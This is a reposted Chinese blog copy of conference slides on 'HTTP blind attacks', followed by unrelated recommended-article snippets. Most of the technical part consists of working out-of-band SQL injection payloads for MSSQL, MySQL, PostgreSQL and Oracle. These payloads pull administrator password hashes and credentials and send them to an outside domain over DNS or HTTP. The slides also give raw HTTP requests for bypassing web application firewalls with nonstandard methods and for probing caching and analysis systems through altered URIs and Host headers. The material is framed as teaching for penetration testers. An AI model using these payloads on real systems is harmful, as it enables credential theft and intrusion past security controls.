http盲攻击，hacker攻击入门，白帽反思，黑帽思想，运维忙成狗

最新推荐文章于 2024-01-15 17:08:35 发布
最新推荐文章于 2024-01-15 17:08:35 发布
阅读量1.2k 收藏 1
点赞数
分类专栏： 白帽 黑帽
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/Programmer_huangtao/article/details/92409081
版权

攻方：

传统漏洞越来越难挖

大型企业暴露的漏洞越来越少

对于目标站点没有任何思路

守方：

我有WAF还是被黑了

我不对公网开放还是被搞了

我天天内部整改漏洞还是被通报漏洞

1. HTTP 盲攻击是什么

2. 为什么需要HTTP 盲攻击

3. HTTP 盲攻击可能发生的场景

4. HTTP盲攻击的总体利用思路与检测实现思路HTTP 盲攻击是什么Blind Attack , Blind Inject Everything

Blind SqlInject (Normal ，pass)

Blind BypassWaf（Normal，easy，let’s try）

Blind Redirect(abnormal, luck is very important)

Blind CommandInject (how to inject，just don't care)

Blind PostParam (give you more, you accept it)

Blind SSRF （bind local interface and no valid response）

Blind Xss Injection (automatic submit,can not related to request)

Blind LDAP Injection (maybe you are using ldap)

Blind xxe（reverse connect you and get xml parse）

Blind everything everywhere ==> fuzzing...HTTP 盲攻击是什么Blind Attack , Blind Inject Everything

HTTP盲攻击，凡是不直接使用传统的HTTP Request、HTTP Response中的已有数据进行的漏

洞挖掘与分析的攻击方式，都可以称为HTTP 盲攻击。

该攻击适用于一切难以发现传统意义漏洞的系统，也可用于对目标没有任何了解却希望快速

发现高危漏洞，同时不必关心直接目标到底存不存在漏洞的一种攻击方式。

在特定情况下可以配合利用OOB方法为基础突破口可进行检测和利用漏洞的攻击方式。

课程目标：本次课程将会介绍哪些场景可以进行HTTP Blind Attack，并尽量进行初步的分类，

来说明一些复杂网络环境下可能存在的安全漏洞。0x02 为什么需要Blind Attack

1. 传统攻击方式已经没有漏洞可挖

2. 复杂网络环境下的分析系统和监控系统存在安全漏洞无法有效发现0x02 Blind Attack Startup 1. Blind SqlInject (Nothing to say)

2. Blind Web Application Firewall bypass 绕过防护系统（变更HTTP请求方法）

3. Blind Redirect Analysis System 诱骗分析/缓存系统（变更HTTP请求URI）

4. Blind CommandInject【检测】不如都来带外数据通道（OOB）

5. Blind Outer to Internal System由外到内

6. 【检测】手工太麻烦使用自动插件（OOB）

7. Blind PostParam 调用隐藏方法（增加或变更HTTP请求参数）

8. 寻找根源（大数据寻找源IP/新域名）1. 数据获取（经典的SQL注入利用）

问题： 目标存在注入，无法回显数据

解决：利用DNS或HTTP请求获取数据

目标：在无法回显的情况下获取有价值的数据信息

防护： 限制非法的外联，包括DNS的解析Blind SqlInject Retrieve Data (OOB) MSSQL

DECLARE @host varchar(1024); SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)

FROM sys.sql_logins WHERE name='sa') +'.s.livesina.com'; EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');

MYSQL

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT

1),'.s.livesina.com\\abc'));

PostgreSQL:

DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION

temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT

INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres'); exec_cmd := E'COPY

table_output(content) FROM E\'\\\\\\\\'||query_result||E'.s.livesina.com\\\\foobar.txt\''; EXECUTE exec_cmd; END;

$$ LANGUAGE plpgsql SECURITY DEFINER; SELECT temp_function();Blind SqlInject Retrieve Data (OOB) Oracle:

Example1:

SELECT UTL_INADDR.GET_HOST_ADDRESS('test.y.s.livesina.com');

Example2:

SELECT UTL_HTTP.REQUEST('http://test.y.livesina.com/test') FROM DUAL; Example3:

SELECT UTL_HTTP.REQUEST('http://test.y.livesina.com/test') FROM DUAL; Example4:

SELECT HTTPURITYPE('http://test.y.livesina.com/test').GETCLOB() FROM DUAL;

Example5:

SELECT DBMS_LDAP.INIT(('test.s.livesina.com',80) FROM DUAL;

Example6:

SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE

name='SYS')||'.s.livesina.com',80) FROM DUAL;2. 绕过防护系统（变更HTTP请求方式）

问题： 目标存在WAF，无法SQL注入，无法命令注入

解决：变更HTTP请求方法，WAF只处理GET、POST规则，其他自动放行。

代理服务器存在方法默认映射，不认识的方法映射为GET

目标：完成SQL注入、命令执行等

防护：更新WAF机制Blind Web Application Firewall bypass 1

GET /test?id=123 HTTP/1.1 LOL /test?id=123 HTTP/1.1 （当然可以尝试其他字符串）

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=bBlind Web Application Firewall bypass 1 Blind Web Application Firewall bypass 2

POST /test HTTP/1.1

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=b

c=d Blind Web Application Firewall bypass 2 POST /test.php HTTP/1.1

Host: target.com

Content-Length: 297

Pragma: no-cache

Cache-Control: no-cache

Content-Type: multipart/form-data; boundary=--------1004104974

…

Cookie: a=b

Connection: close

----------1004104974

Content-Disposition: form-data; name="file"; filename=""

Content-Type: application/octet-stream

----------1004104974

Content-Disposition: form-data; name="c"

d

----------1004104974

Content-Disposition: form-data; name="submit"

Submit

----------1004104974--Blind Web Application Firewall bypass

脚本检测方式：

1>变更请求方式，对比返回差异

*2>发送Payload触发Waf拦截，对比变更请求方法前后的差异

判据：

1> 返回内容不属于黑名单内容

2> 返回内容在变更方法前后保持一致

黑名单：

设置返回黑名单，如403、405或特征字符串3. 诱骗分析/缓存系统（变更HTTP请求URI）

问题： 没有思路

解决：变更HTTP请求URI，目标处理产生异常，分析异常找到攻击思路

目标：触发异常，分析攻击思路Blind Redirect Analysis System 1 （Change URI 1）

GET /test HTTP/1.1 GET test.randkey.yourloggingdomain.com HTTP/1.1

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=bBlind Redirect Analysis System 1 （Change URI 2）

GET /test HTTP/1.1 GET @test.randkey.yourloggingdomain.com HTTP/1.1

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=bBlind Redirect Analysis System 1（Change URI 2）

GET /test HTTP/1.1 GET http://test.randkey.yourloggingdomain.com HTTP/1.1

Host: sina.cn

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=bBlind Redirect Analysis System 1 得到的请求 Why this request？

不合理的URL拼接

发生后我们才知道的漏洞Blind Redirect Caching System 2

Normal Request

GET /test HTTP/1.1

Host: sina.cn sina.cn@test.randkey.yourloggingdomain.com

Connection: close

Cache-Control: max-age=0

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/60.0.3112.113 Safari/537.36

Accept:

text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Referer: https://sina.cn/

Accept-Encoding: gzip, deflate, br

Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2

Cookie: a=bBlind Redirect Caching System 2

Normal Request

HTTP/1.1 200 OK

Content-Type: text/html;charset=utf-8

黑客的定义与历史
悦分享
06-12 1693
黑客简介"黑客"(hacker)这个词通常被用来指那些恶意的安全破坏者。关于"黑客"一词的经典定义，最初来源于麻省理工学院关于信息技术的一份文档，之后便被新闻工作者们长期使用。但是这个在麻省理工被当做中性词汇的术语，却逐渐被新闻工作者们用在了贬义的环境，而很多人也受其影响，最终导致了"黑客"一词总是用于贬义环境。有些人认为，我们应该接受"黑客"一词已经被用滥并且有了新的意义。他们认为，如果不认可这种被滥用的词汇，那么将无法与那些不懂技术的人进行有效的交流。而我仍然认为，将黑客和恶意的骇客(cracker)分
为什么要学网络安全？如何学习网络安全？这3个理由告诉你（自己整理的50G网安资料）
weixin_72912381的博客
12-08 2007
相信很多小伙伴最近都听说网络安全它很火，那么网络安全它难吗？其实并不难，网络安全入门更简单！可不要被它神秘的外衣给唬住了。只要你接下来认真听完我的讲解，虽然保证不了你能成为大神，但就算你学习能力再差那也能达到入门级别。
HTTP 盲攻击 30W 大咖课程
11-29
0x01 概要 1. HTTP 盲攻击是什么 2. 为什么需要HTTP 盲攻击 3. HTTP 盲攻击可能发生的场景 4. HTTP盲攻击的总体利用思路与检测实现思路 HTTP 盲攻击是什么 Blind Attack , Blind Inject Everything HTTP盲攻击，凡是 不直接 使用传统的HTTP Request、HTTP Response中的 已有数据 进行的漏 洞挖掘与 分析的攻击方式，都可以称为HTTP 盲攻击。 该攻击适用于一切难以发现传统意义漏洞的系统，也可用于对目标没有任何了解却希望快速 发现高危漏洞，同时 不必关心直接目标到底存不存在漏洞 的一种攻击方式。 在特定情况下可以配合利用OOB方法为基础突破口可进行检测和利用漏洞的攻击方式。 课程目标：本次课程将会介绍哪些场景可以进行HTTP Blind Attack，并尽量进行初
HTTP盲攻击视频资料及PDF文档（百度云下载）
09-28
0x01 概要 1. HTTP 盲攻击是什么 2. 为什么需要HTTP 盲攻击 3. HTTP 盲攻击可能发生的场景 4. HTTP盲攻击的总体利用思路与检测实现思路 HTTP 盲攻击是什么 Blind Attack , Blind Inject Everything HTTP盲攻击，凡是 不直接 使用传统的HTTP Request、HTTP Response中的 已有数据 进行的漏 洞挖掘与分析的攻击方式，都可以称为HTTP 盲攻击。 该攻击适用于一切难以发现传统意义漏洞的系统，也可用于对目标没有任何了解却希望快速 发现高危漏洞，同时 不必关心直接目标到底存不存在漏洞 的一种攻击方式。 在特定情况下可以配合利用OOB方法为基础突破口可进行检测和利用漏洞的攻击方式。 课程目标：本次课程将会介绍哪些场景可以进行HTTP Blind Attack，并尽量进行初步的分类， 来说明一些复杂网络环境下可能存在的安全漏洞。
HTTP盲攻击的几种思路
07-19
FreeBuf http盲攻击公开课ppt 1. HTTP 盲攻击是什么 2. 为什么需要HTTP 盲攻击 3. HTTP 盲攻击可能发生的场景 4. HTTP盲攻击的总体利用思路与检测实现思路
HTTP盲攻击的几种思路最终版.pdf
09-28
宫华 ID:CplusHua 青藤云安全 安全研究员 知名白帽子 蚂蚁金服36W单个漏洞奖励得主 0x00 前言 攻方： 传统漏洞越来越难挖 大型企业暴露的漏洞越来越少 对于目标站点没有任何思路 守方： 我有WAF还是被黑了 我不对公网开放还是被搞了 我天天内部整改漏洞还是被通报漏洞 0x01 概要 1. HTTP 盲攻击是什么 2. 为什么需要HTTP 盲攻击 3. HTTP 盲攻击可能发生的场景 4. HTTP盲攻击的总体利用思路与检测实现思路
github pages_使用此HTTP hack重定向GitHub Pages网站
cumj63710的博客
07-10 566
github pages 我在GitHub Pages上为我的私人项目运行了一些静态网站。 我对这项服务非常满意，因为它支持自定义域，自动重定向到HTTPS并透明地安装SSL证书（通过Let's Encrypt自动颁发）。 它非常快（感谢Fastly的内容交付网络），并且非常可靠（我多年来没有遇到任何问题）。 考虑到我免费获得所有这些东西的事实，它目前完全符合我的需求。 但是，它有一个重要的...
渗透测试入门—— 常见术语概述
weixin_46694260的博客
12-26 9562
00x1 前言 刚入门小白，收集了一些渗透术语，废话不多说。 00x2 渗透术语 1.脚本 动态网站(如：asp，php，jsp)， linux， python 2.网站 2.1静态网站：与后台交互比较少，如html) 2.2动态网站：使用动态脚本编写 如：asp，php，jsp，交互方便但是安全性不高，如果代码过滤不严格可能会导致漏洞最终导致后台linux被别人随意操作 3.http协议 http（HyperText Transfer Protocol），超文本传输协议。是因特网上应用最为广泛的一种网络传
网络安全专业名词解释
aixmmmlll的博客
05-16 4415
1.Burp Suite 是一款信息安全从业人员必备的集成型的渗透测试工具，它采用自动测试和半自动测试的方式，通过拦截HTTP/HTTPS的Web数据包，充当浏览器和相关应用程序的中间人，进行拦截、修改、重放数据包进行测试，是Web安全人员的一把必备的瑞士军刀。 2.Bypass就是绕过的意思，渗透测试人员通过特殊语句的构建或者做混淆等进行渗透测试，然后达到绕过WAF的手法。 3.C2全称为Command and Control，命令与控制，常见于APT攻击场景中。作动词解释时理解为恶意软件与攻击者进行交互
安全术语扫盲
_南寻_的博客
02-09 1万+
行业术语扫盲 肉鸡 所谓“肉鸡”是一种很形象的比喻，比喻那些可以随意被我们控制的电脑，对方可以是WINDOWS系统，也可以是UNIX/LINUX系统，可以是普通的个人电脑，也可以是大型的服务器，我们可以像操作自己的电脑那样来操作它们，而不被对方发觉。 木马 木马就是表面上伪装成了正常的程序，但是当这些程序运行时，就会获取系统的整个控制权限。有很多黑客就是热衷于使用木马程序来控制别人的电脑，比如灰鸽子，黑洞，PcShare等等 远控 远程控制，是在网络上由一台电脑（主控端Remote/客户端）远距
网站克隆带目录结构httphacker
09-20
可以带目录结构的复制网站，自带爬虫。没有恶意插件，无需安装。可使用sandboxie运行。
HTTP Web的攻击技术
qq_38362049的博客
07-11 978
一.针对Web的攻击技术1.HTTP不具备必要的安全功能2.在客户端可篡改请求主动攻击:SQL注入攻击、OS注入攻击攻击者通过直接访问Web应用，把攻击代码传入攻击模式。主要攻击服务器上的资源被动攻击:跨站脚本攻击、HTTP首部注入攻击、邮件注入攻击、会话固定攻击、跨站点请求伪造利用圈套策略执行代码的攻击模式。在被动攻击过程中，攻击者不直接对目标Web应用访问发起攻击。(1)攻击者诱导用户触发已设...
HTTP协议扫盲
和光同尘的博客
08-01 293
定义 HTTP协议是Hyper Text Transfer Protocol（超文本传输协议）的缩写,是用于从万维网（WWW:World Wide Web ）服务器传输超文本到本地浏览器的传送协议。 HTTP是一个基于TCP/IP通信协议来传递数据（HTML 文件, 图片文件, 查询结果等）。 协议分析 一、HTTP之URL HTTP使用统一资源标识符（Uniform Resource ...
什么是UserAgent以及使用浏览器查看UserAgent的方法
weixin_44074100的博客
04-04 5590
一、什么是UserAgent User Agent中文名为用户代理，简称 UA，它是一个特殊字符串头，使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。 常常要用server抓资料时，都会碰到直接使用wget和curl被服务器拒绝的状况。通常简单加个user-agent伪装一下就会过了。 二、浏览器查看UserAgent的方法 1、通...
User-Agent作用
分享Android开发知识
06-17 2277
一、作用 User-Agent是一个特殊字符串头，是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识，例如：
Windows/Android/iOS 等常见 User-Agent 大全
热门推荐
BOB'S BLOG
08-22 1万+
User Agent 中文名为用户代理，简称 UA，是一个特殊字符串头，使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。Python 爬虫通过伪装 UA 可以绕过某些检测。 以下为搜集的常见的各浏览器的 User-Agent，其中： 安卓操作系统：Android 7.1.1；OPPO R9sk Build/NMF26F PC操作...
User-Agent（用户代理）是什么？
最新发布
宇宙超粒终端控制中心的博客
01-15 4395
User-Agent 即用户代理，简称“UA”，它是一个特殊字符串头。网站服务器通过识别 “UA”来确定用户所使用的操作系统版本、CPU 类型、浏览器版本等信息。而网站服务器则通过判断 UA 来给客户端发送不同的页面。网络爬虫使用程序代码来访问网站，而非人类亲自点击访问，因此爬虫程序也被称为“网络机器人”。绝大多数网站都具备一定的反爬能力，禁止网爬虫大量地访问网站，以免给网站服务器带来压力。这里要学习的 User-Agent 就是反爬策略的第一步。
user-agent（UA）
weixin_34392906的博客
07-04 453
1. 什么是user-agent？ User Agent中文名为用户代理，简称 UA，它是一个特殊字符串头，使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。 浏览器的UA字段标准格式：浏览器标识 (操作系统标识; 加密等级标识; 浏览器语言) 渲染引擎标识 版本信息 。 2. 如何查看...
[翻译]盲SSRF利用链术语表
dzqxwzoe的博客
10-14 423
SSRF(Server-Side Request Forgery:服务请求伪造)是一种由攻击者构造，从而让服务端发起请求的一种安全漏洞，它将一个可以发起网络请求的服务当作跳板来攻击其他服务，SSRF的攻击目标一般是内网。当服务端提供了从其他服务器获取数据的功能(如:从指定URL地址获取网页文本内容、加载指定地址的图片、下载等)，但是没有对目标地址做过滤与限制时就会出现SSRF。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值